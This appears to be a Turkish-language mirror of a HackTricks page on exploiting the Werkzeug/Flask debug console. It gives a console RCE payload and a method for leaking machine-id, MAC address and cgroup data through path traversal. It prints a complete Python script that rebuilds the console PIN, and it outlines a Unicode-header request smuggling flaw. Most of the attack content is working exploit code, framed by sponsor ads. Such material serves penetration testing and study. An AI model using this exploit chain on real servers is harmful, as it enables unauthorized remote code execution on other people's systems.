mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
202 lines
11 KiB
Markdown
202 lines
11 KiB
Markdown
# Werkzeug / Flask Debug
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine inceleme, shell açma ve eğlenme fırsatı vermek için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
## Konsol RCE
|
||
|
||
Eğer debug aktifse `/console` erişmeyi deneyebilir ve RCE elde edebilirsiniz.
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
![](<../../.gitbook/assets/image (117).png>)
|
||
|
||
Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç istismar bulunmaktadır veya metasploit'te bir tane.
|
||
|
||
## Pin Koruması - Yol Traversali
|
||
|
||
Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya traversali açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
|
||
|
||
### Werkzeug Konsol PIN İstismarı
|
||
|
||
Bunu görmek için uygulamada bir hata sayfası zorlayın:
|
||
```
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
Bir "konsol kilitli" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişmeye çalışırken karşılaşılır ve konsolu açmak için bir PIN gereksinimini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug'un hata ayıklama başlatma dosyasındaki PIN oluşturma algoritmasını analiz etme önerisi yapılır (`__init__.py`). PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya geçiş açığı aracılığıyla temin edilmesi tavsiye edilir.
|
||
|
||
Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_public_bits` ve `private_bits`:
|
||
|
||
#### **`probably_public_bits`**
|
||
|
||
* **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder.
|
||
* **`modname`**: Genellikle `flask.app` olarak adlandırılır.
|
||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask** olarak çözülür.
|
||
* **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir.
|
||
|
||
#### **`private_bits`**
|
||
|
||
* **`uuid.getnode()`**: Mevcut makinenin MAC adresini alır, `str(uuid.getnode())` bunu ondalık formata çevirir.
|
||
* **Sunucunun MAC adresini belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulmak, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini çıkarmak gerekir.
|
||
* Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
|
||
|
||
```python
|
||
# Örnek MAC adresi: 56:00:02:7a:23:ac
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
* **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den alınan verileri, son eğik çizgiden (`/`) sonra `/proc/self/cgroup`'un ilk satırıyla birleştirir.
|
||
|
||
<details>
|
||
|
||
<summary>`get_machine_id()` için kod</summary>
|
||
```python
|
||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
global _machine_id
|
||
|
||
if _machine_id is not None:
|
||
return _machine_id
|
||
|
||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
linux = b""
|
||
|
||
# machine-id is stable across boots, boot_id is not.
|
||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
try:
|
||
with open(filename, "rb") as f:
|
||
value = f.readline().strip()
|
||
except OSError:
|
||
continue
|
||
|
||
if value:
|
||
linux += value
|
||
break
|
||
|
||
# Containers share the same machine id, add some cgroup
|
||
# information. This is used outside containers too but should be
|
||
# relatively stable across boots.
|
||
try:
|
||
with open("/proc/self/cgroup", "rb") as f:
|
||
linux += f.readline().strip().rpartition(b"/")[2]
|
||
except OSError:
|
||
pass
|
||
|
||
if linux:
|
||
return linux
|
||
|
||
# On OS X, use ioreg to get the computer's serial number.
|
||
try:
|
||
```
|
||
</details>
|
||
|
||
Gerekli tüm veriler toplandıktan sonra, exploit script'i Werkzeug konsol PIN'ini oluşturmak için çalıştırılabilir:
|
||
|
||
Gerekli tüm veriler toplandıktan sonra, exploit script'i Werkzeug konsol PIN'ini oluşturmak için çalıştırılabilir. Script, oluşturulan `probably_public_bits` ve `private_bits`'i kullanarak bir hash oluşturur, bu hash daha sonra nihai PIN'i üretmek için ek işleme tabi tutulur. Aşağıda bu süreci gerçekleştiren Python kodu bulunmaktadır:
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user', # username
|
||
'flask.app', # modname
|
||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
h = hashlib.sha1()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
# h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv = None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
Bu script, birleştirilmiş bitleri hashleyerek, belirli tuzlar (`cookiesalt` ve `pinsalt`) ekleyerek ve çıktıyı formatlayarak PIN'i üretir. `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir.
|
||
|
||
{% hint style="success" %}
|
||
Eğer **eski bir sürüm** Werkzeug kullanıyorsanız, **hashing algoritmasını md5** olarak değiştirmeyi deneyin.
|
||
{% endhint %}
|
||
|
||
## Werkzeug Unicode karakterleri
|
||
|
||
[**bu sorun**](https://github.com/pallets/werkzeug/issues/2833)'da gözlemlendiği gibi, Werkzeug başlıklarda Unicode karakterleri ile bir isteği kapatmaz. Ve [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, bu bir CL.0 Request Smuggling zafiyetine neden olabilir.
|
||
|
||
Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasıdır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin **gövdesi** bir **sonraki HTTP isteği** olarak işlenecektir.
|
||
|
||
## Otomatik Sömürü
|
||
|
||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||
|
||
## Referanslar
|
||
|
||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||
|
||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve sömürü modülleri geliştiriyoruz.
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||
|
||
</details>
|
||
{% endhint %}
|